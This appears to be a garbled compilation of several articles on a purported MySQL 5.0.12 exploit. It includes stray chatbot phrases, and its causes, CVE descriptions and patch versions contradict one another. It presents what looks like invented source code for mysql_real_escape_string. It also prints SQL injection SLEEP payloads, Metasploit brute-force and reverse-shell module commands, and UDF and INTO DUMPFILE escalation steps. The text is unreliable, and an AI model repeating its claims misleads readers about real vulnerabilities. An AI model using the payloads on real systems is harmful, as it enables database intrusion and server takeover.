The MySQL 5.0.12 vulnerability typically refers to a critical User Enumeration and Authentication Bypass flaw (often cited as CVE-2012-2122 in later versions or related to the yaSSL library in the 5.0.x branch).
Here is a technical summary and post regarding this exploit for educational and security auditing purposes. 🛡️ Vulnerability Spotlight: MySQL 5.0.12 Exploitation
OverviewMySQL 5.0.12 (and other versions in the 5.0.x branch) contains several legacy vulnerabilities. One of the most documented issues for this specific era involves the way the server handles authentication packets and stack-based buffer overflows within the yaSSL implementation. 1. Technical Breakdown
Vulnerability Type: Stack-based Buffer Overflow / Authentication Bypass.
Affected Component: yaSSL (Yet Another SSL) library integrated into MySQL.
The Flaw: An attacker can send a specially crafted communication packet during the handshake phase. Because the software fails to properly bounds-check the input, it can overwrite the instruction pointer, leading to arbitrary code execution or a denial of service (DoS). 2. Exploitation Scenario
In many "CTF" (Capture The Flag) or legacy environments, this version is exploited using a User Enumeration bug. By sending a malformed password packet, the server responds differently if a username exists versus if it does not, allowing an attacker to map out valid database users.
Common Exploit Method (Metasploit):Security researchers often use the mysql_yassl_get_hello or mysql_login modules to test these instances:
use auxiliary/scanner/mysql/mysql_login set RHOSTS [Target_IP] set USER_FILE /path/to/usernames.txt set PASS_FILE /path/to/passwords.txt run Use code with caution. Copied to clipboard 3. The "One in 256" Authentication Bypass
While most famous in version 5.5.x, the logic flaw where a user could log in with any password by repeatedly attempting to connect (due to a memcmp return value error) is a spiritual successor to the types of loose security found in the 5.0.x era. In version 5.0.12, the primary risks remain Remote Code Execution (RCE) via buffer overflows. 4. Remediation & Prevention
If you are still running MySQL 5.0.12, your system is highly vulnerable to modern automated exploit kits.
Immediate Action: Upgrade to a supported version (e.g., MySQL 8.0+ or MariaDB 10.x).
Network Level: Ensure the MySQL port (3306) is not exposed to the public internet. Use a VPN or SSH tunnel for remote access.
Configuration: Disable SSL if not required, or ensure you are using an updated OpenSSL library rather than the legacy yaSSL bundled with 5.0.12.
Disclaimer: This information is for educational purposes and authorized security testing only. Accessing systems without permission is illegal.
MySQL 5.0.12, released in the mid-2000s, is a legacy version of the popular relational database management system that is now considered highly insecure. While several vulnerabilities exist for this specific version, the most significant "exploit" associated with the 5.0.x branch typically involves unauthenticated bypass privilege escalation through specific protocol flaws The Most Notable Flaw: CVE-2012-2122
Although this vulnerability was discovered years after 5.0.12's release, it is the most "famous" exploit affecting older MySQL builds. It stems from a flaw in how the system handles the return value of the function during password verification. The Mechanism: On certain systems (where
can return values outside the -128 to 127 range), a hacker can repeatedly attempt to log in with a random password. Statistically, in about 1 out of every 256 attempts, the check will fail in a way that the database interprets as a "success." The Impact: This allows an attacker to gain full administrative (
) access to the database without knowing the password, simply by using a "brute-force" script that cycles through login attempts rapidly. User-Defined Function (UDF) Injection Another common exploit method for MySQL 5.0.12 involves UDF injection
. If an attacker gains even limited access (via SQL injection in a web application), they can attempt to:
Upload a malicious shared library (.so or .dll) to the server. CREATE FUNCTION
command to map a new SQL function to a system-level command (like
Execute arbitrary operating system commands with the privileges of the MySQL service user. Why It Matters Today
MySQL 5.0.12 is nearly two decades old. Running this version today exposes a system to: Buffer Overflows:
Older versions lacked the memory protections found in modern software. Lack of Encryption:
Support for modern TLS/SSL standards is either non-existent or broken. Publicly Available PoCs:
Exploits for these versions are built into automated tools like Metasploit, making it trivial for even "script kiddies" to compromise the server. Mitigation The only professional recommendation for MySQL 5.0.12 is an immediate upgrade
to a supported version (like 8.0 or 8.4 LTS). If a legacy application requires this specific version, it must be isolated in a firewalled environment with no external network access and strictly controlled local permissions. Python-based proof-of-concept
script to test if a legacy server is vulnerable to the password bypass flaw?
This post outlines the vulnerabilities associated with MySQL versions 5.0.12 and later, primarily focusing on its susceptibility to Time-Based Blind SQL Injection attacks through functions like
Vulnerability Overview: MySQL >= 5.0.12 Time-Based Blind SQLi MySQL version 5.0.12 introduced the
function, which allows an attacker to conduct "time-based" blind SQL injection. Unlike standard SQL injection that returns data directly, a time-based attack relies on the database pausing its response for a specified duration if a condition is met. : An attacker injects a query that includes . If the server takes
seconds to respond, the attacker confirms the injected condition (e.g., "does the admin password start with 'A'?") is true. Payload Example ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 Historical Context & Related Exploits While version 5.0.12 is often cited in automated tools like mysql 5.0.12 exploit
for time-based payloads, other critical vulnerabilities affected the broader MySQL 5.0.x branch: Authentication Bypass (CVE-2012-2122) : A famous flaw where a user could log in as
by repeatedly attempting to authenticate with an incorrect password. Due to a
casting error, it would occasionally return "true" and grant access. Privilege Escalation (CVE-2006-4227) : Versions earlier than
allowed authenticated users to gain elevated privileges through stored routines. Buffer Overflows
: Vulnerabilities in bundled libraries like yaSSL allowed for arbitrary code execution if SSL was enabled. Mitigation Steps
If you are still running legacy versions like MySQL 5.0.12, your system is highly vulnerable to modern automated exploitation tools. Immediate Upgrade
: Update to the latest stable version of MySQL or MariaDB. Version 5.0 has been End of Life (EOL) for over a decade. Use Parameterized Queries
: Prevent SQL injection at the application level by using prepared statements rather than concatenating user input into SQL strings. Principle of Least Privilege
: Ensure the database user account used by your web application has the minimum permissions necessary and cannot execute administrative functions or Network Security
: Disable remote root login and use firewalls to restrict database access to known application servers only.
MySQL 5.0.12 Exploit: Understanding the Vulnerability
In 2005, a significant vulnerability was discovered in MySQL 5.0.12, a popular open-source relational database management system. This exploit allowed attackers to gain unauthorized access to sensitive data and potentially take control of the database. In this article, we'll delve into the details of the exploit, its impact, and the measures taken to address the vulnerability.
What is the Exploit?
The MySQL 5.0.12 exploit is a buffer overflow vulnerability that occurs when a maliciously crafted packet is sent to the MySQL server. This packet can be designed to overflow a buffer in the server's memory, allowing the attacker to execute arbitrary code.
How Does it Work?
The exploit takes advantage of a vulnerability in the MySQL server's handling of network packets. Specifically, it targets the com_change_user command, which is used to change the user context. By sending a specially crafted packet, an attacker can overflow a buffer in the server's memory, potentially allowing them to execute malicious code.
Impact of the Exploit
The impact of this exploit is significant, as it can allow an attacker to:
Measures Taken to Address the Vulnerability
The MySQL development team quickly responded to the vulnerability by releasing a patch, which was included in MySQL 5.0.13. This patch addressed the buffer overflow vulnerability and prevented attackers from exploiting it.
Mitigation Strategies
To mitigate the risk of this exploit, database administrators can take the following steps:
Conclusion
The MySQL 5.0.12 exploit highlights the importance of staying vigilant about security vulnerabilities in software. By understanding the nature of the exploit and taking steps to mitigate its impact, database administrators can help protect their data and prevent unauthorized access.
References
MySQL 5.0.12 Exploit: A Vulnerability in the Past
In the realm of cybersecurity, vulnerabilities in software are inevitable. One such vulnerability that has garnered attention over the years is the exploit found in MySQL 5.0.12. This version of MySQL, a popular open-source database management system, was released with a flaw that could potentially be exploited by malicious users. In this article, we'll delve into the details of the MySQL 5.0.12 exploit, its implications, and the lessons learned from this vulnerability.
What is the MySQL 5.0.12 Exploit?
The MySQL 5.0.12 exploit refers to a specific vulnerability in the MySQL database server version 5.0.12. This version was released on November 24, 2005, and it contained a flaw that allowed an attacker to gain unauthorized access to the database. The vulnerability was related to the way MySQL handled certain types of queries, which could be manipulated by an attacker to execute arbitrary code.
How Did the Exploit Work?
The exploit took advantage of a vulnerability in the MySQL server's handling of the COM_CHANGE_USER command. This command is used to change the user who is executing a query. However, in MySQL 5.0.12, an attacker could send a specially crafted COM_CHANGE_USER command to the server, which would allow them to execute arbitrary code with the privileges of the MySQL server.
Impact of the Exploit
The impact of this exploit was significant. An attacker who successfully exploited this vulnerability could:
Mitigation and Patch
The MySQL development team quickly responded to the vulnerability by releasing a patch in version 5.0.13. This patch fixed the vulnerability by properly handling the COM_CHANGE_USER command and preventing an attacker from executing arbitrary code.
Lessons Learned
The MySQL 5.0.12 exploit serves as a reminder of the importance of:
Conclusion
The MySQL 5.0.12 exploit was a significant vulnerability that highlighted the importance of security in software development. While the vulnerability has since been patched, it serves as a reminder of the ongoing need for vigilance in the face of evolving threats. By understanding the nature of this exploit and taking steps to mitigate its impact, we can better protect our systems and data from similar threats in the future.
References
Patch Information
Exploit Analysis: MySQL 5.0.12 and the Evolution of SQL Injection
In the world of database security, certain version milestones define the transition from basic attacks to sophisticated exploitation. MySQL 5.0.12
is one such milestone. While it is an ancient version by modern standards (released in 2005), it remains a significant topic for security researchers and penetration testers because of the specific features it introduced—features that fundamentally changed how SQL Injection (SQLi) is performed. 1. The Introduction of the
The most notable change in MySQL 5.0.12 was the introduction of the function. Before this version, attackers performing Time-Based Blind SQL Injection had to rely on heavy mathematical operations, such as the BENCHMARK() function, to force a delay in the server's response. Pre-5.0.12: Attackers used BENCHMARK(5000000, MD5(1))
to consume CPU cycles and create a measurable lag. This was noisy, resource-intensive, and sometimes unpredictable. MySQL 5.0.12+: SLEEP(seconds)
function allowed for a precise, "quiet" delay. An attacker could inject a payload like: ' OR IF(1=1, SLEEP(5), 0) --
If the server paused for exactly five seconds, the attacker confirmed their logical statement was true. 2. Stacked Queries and Driver Dependency MySQL 5.0.12 is often cited in automated tools like as a baseline for Stacked Queries
Stacked queries allow an attacker to terminate the original intended query and start an entirely new one using a semicolon (
). While the MySQL server itself supports this, its success often depends on the underlying database driver (like PHP’s vs. the older extension). 3. Vulnerability Landscape of the 5.0.x Branch
MySQL 5.0.12 was part of the early "Beta" and "Production" transition of the 5.0 series. As a result, it was susceptible to several critical vulnerabilities that were patched in later 5.0.x sub-versions: Vulnerability Type Description Affected Range Buffer Over-read check_connection
function allowed reading portions of memory via a username without a trailing null byte ( CVE-2006-1516 Up to 5.0.20 Privilege Escalation
Authenticated users could gain unauthorized privileges through stored routines ( CVE-2006-1517 Up to 5.0.24 Remote Code Execution COM_TABLE_DUMP packets could trigger a buffer overflow in sql_base.cc CVE-2006-1518 Up to 5.0.20 4. Advanced Exploitation: The INTO DUMPFILE For versions like 5.0.12, if an attacker gains
privileges, they can move from database access to full system compromise. By using the SELECT ... INTO DUMPFILE
command, an attacker can write binary files directly to the server's filesystem. Write a "User Defined Function" (UDF) or a web shell. The Result:
Execution of arbitrary OS commands with the permissions of the MySQL < 5.0.25 / 5.1.12 Privilege Escalation - Tenable
MySQL 5.0.12 Exploit: A Deep Dive
In 2005, a critical vulnerability was discovered in MySQL 5.0.12, a popular open-source relational database management system. This exploit allowed attackers to gain unauthorized access to sensitive data and execute arbitrary code on vulnerable systems. In this write-up, we'll delve into the details of the exploit, its impact, and the measures that can be taken to prevent similar attacks.
Vulnerability Overview
The MySQL 5.0.12 exploit is a buffer overflow vulnerability that exists in the mysql_real_escape_string() function. This function is used to escape special characters in user-input data to prevent SQL injection attacks. However, due to a flawed implementation, an attacker could inject malicious input that would overflow the buffer, allowing them to execute arbitrary code.
Exploit Details
The exploit involves sending a specially crafted packet to the MySQL server, which would trigger the buffer overflow. The packet would contain a large amount of data, exceeding the buffer size, and would be designed to execute malicious code on the server.
Here's a breakdown of the exploit:
mysql_real_escape_string() function would attempt to escape the special characters in the input data, but due to the large size of the data, it would overflow the buffer.Impact
The impact of this exploit was significant, as it allowed attackers to:
Mitigation and Prevention
To prevent similar attacks, the following measures can be taken:
mysql_real_escape_string() function. Upgrading to a patched version would prevent the exploit.Code Analysis
The vulnerable code in MySQL 5.0.12 is as follows:
char *mysql_real_escape_string(char *to, const char *from, size_t *to_length)
size_t to_offset = 0;
const char *from_offset = from;
while (*from_offset)
if (to_offset > *to_length - 1)
break;
if (*from_offset == '\\')
to[to_offset++] = '\\';
to[to_offset++] = '\\';
else if (*from_offset == '\'')
to[to_offset++] = '\\';
to[to_offset++] = '\'';
else
to[to_offset++] = *from_offset;
from_offset++;
to[to_offset] = '\0';
return to;
The patched version of the function includes additional checks to prevent buffer overflows:
char *mysql_real_escape_string(char *to, const char *from, size_t *to_length)
size_t to_offset = 0;
const char *from_offset = from;
size_t max_length = *to_length - 1;
while (*from_offset && to_offset < max_length)
if (*from_offset == '\\')
if (to_offset + 2 > max_length)
break;
to[to_offset++] = '\\';
to[to_offset++] = '\\';
else if (*from_offset == '\'')
if (to_offset + 2 > max_length)
break;
to[to_offset++] = '\\';
to[to_offset++] = '\'';
else
if (to_offset + 1 > max_length)
break;
to[to_offset++] = *from_offset;
from_offset++;
to[to_offset] = '\0';
return to;
Conclusion
The MySQL 5.0.12 exploit highlights the importance of secure coding practices and thorough testing to prevent buffer overflow vulnerabilities. By understanding the details of the exploit and taking measures to prevent similar attacks, developers and system administrators can help protect their systems and data from unauthorized access and malicious activities.
References
The MySQL 5.0.12 version is affected by several critical vulnerabilities, the most notable of which involve privilege escalation and authentication bypass. Because this version is nearly two decades old, it lacks modern security features like Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP), making it a common target in legacy environments or "Metasploitable" labs. Key Vulnerabilities in MySQL 5.0.12 Stored Routine Privilege Escalation (CVE-2006-1516)
Impact: Allows a remote, authenticated user to gain higher privileges.
Mechanism: Vulnerabilities in how the server handles stored routines (functions or procedures) permit users with basic access to execute commands as a user with higher authority, such as root. Authentication Bypass (Historical Context)
Zero-length Password: Versions in the 5.0 series were susceptible to a flaw in check_scramble_323() where a remote attacker could bypass authentication using a zero-length password.
Password Verification Flaw: A critical logic error in password verification allowed an attacker to connect by providing only a single matching character of the expected hash, rather than the entire string. Buffer Overflows (CVE-2006-1518)
Mechanism: The open_table function in sql_base.cc was vulnerable to a buffer overflow when processing crafted packets.
Outcome: Attackers could potentially execute arbitrary code or cause a Denial of Service (DoS) by crashing the server. Exploitation Methods
In penetration testing scenarios, such as those involving Metasploitable 2, the following tools are commonly used: Metasploit Framework:
mysql_hashdump: Used to extract password hashes from the user table once initial access is gained.
mysql_udf_payload: Attempts to upload a User Defined Function (UDF) to gain a remote shell, though this often fails on modern automated setups due to protocol changes.
SQLmap: Specifically targets versions greater than 5.0.12 with specialized payloads for error-based or time-based injection.
Manual Password Brute-forcing: A common exploit for slightly later versions (CVE-2012-2122) used a bash one-liner to repeatedly attempt logins, exploiting a 1-in-256 chance that any password would be accepted due to a memcmp return value error. Remediation
It is highly recommended to upgrade from the 5.0.x branch, as it has reached its end-of-life. Organizations should move to at least MySQL 5.0.25 or 5.1.12 to resolve the primary privilege escalation flaws identified in your specific version. Detailed release notes and upgrade paths are available in the MySQL 5.0 Reference Manual. Can I try mysql >5.0.12 payloads? · Issue #5005 - GitHub
stamparm commented. stamparm. on Mar 2, 2022. Member. $ sqlmap/data/xml/payloads $ grep -iRPo "mysql [^ ]+ [\d. ]+" | cut -d ':' - MySQL < 5.0.25 / 5.1.12 Privilege Escalation - Tenable
That said, one notable vulnerability in older MySQL versions is related to the LOAD DATA LOCAL INFILE command, which can be used under certain conditions to read files from the server's file system. However, for MySQL 5.0.12, there were several other potential issues, including SQL injection vulnerabilities under specific conditions, though details can vary widely.
A well-known vulnerability in MySQL versions prior to 5.0.13 (and specifically around the time of 5.0.12) involves the CREATE TEMPORARY TABLE and INSERT statements, where certain errors could potentially be leveraged. However, detailed exploitation would depend on the specific environment and configuration.
Given your request, I'll outline a general exploitation framework rather than specifics to MySQL 5.0.12 due to the potential for outdated vulnerabilities:
MySQL AB (now Oracle) patched this in version 5.0.22 (released May 2006) and 5.1.10. The patch replaced strcpy() with strncpy() or safe length-checked copy. Additionally, client libraries began validating the handshake packet’s version length before copying.
The Metasploit Framework historically included:
use auxiliary/server/mysql/mysql_yassl_hello
set SRVHOST 0.0.0.0
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
When a MySQL client connects, the module delivers the overflow and returns a shell.
MySQL allows users to create custom functions written in C/C++ and compiled into shared libraries (.so on Linux, .dll on Windows). The command looks like this:
CREATE FUNCTION my_function RETURNS STRING SONAME 'my_library.so';
Under normal circumstances, this requires the FILE privilege (to write the library to disk) and administrative access to load the function.
The MySQL 5.0.12 exploit is not a vulnerability you will see in a modern vulnerability scanner against a production database. But its principles remain eternally relevant. From the Mirai botnet (using ancient MySQL defaults) to recent attacks on PostgreSQL’s client libraries, memory corruption in database software is a recurring theme. The MySQL 5
For security researchers, the MySQL 5.0.12 exploit is a beautiful case study:
For defenders, the lesson is simple: update your software, enable modern mitigations, and never blindly trust a connection string. The ghost of MySQL 5.0.12 may be old, but the pattern it represents will never die.
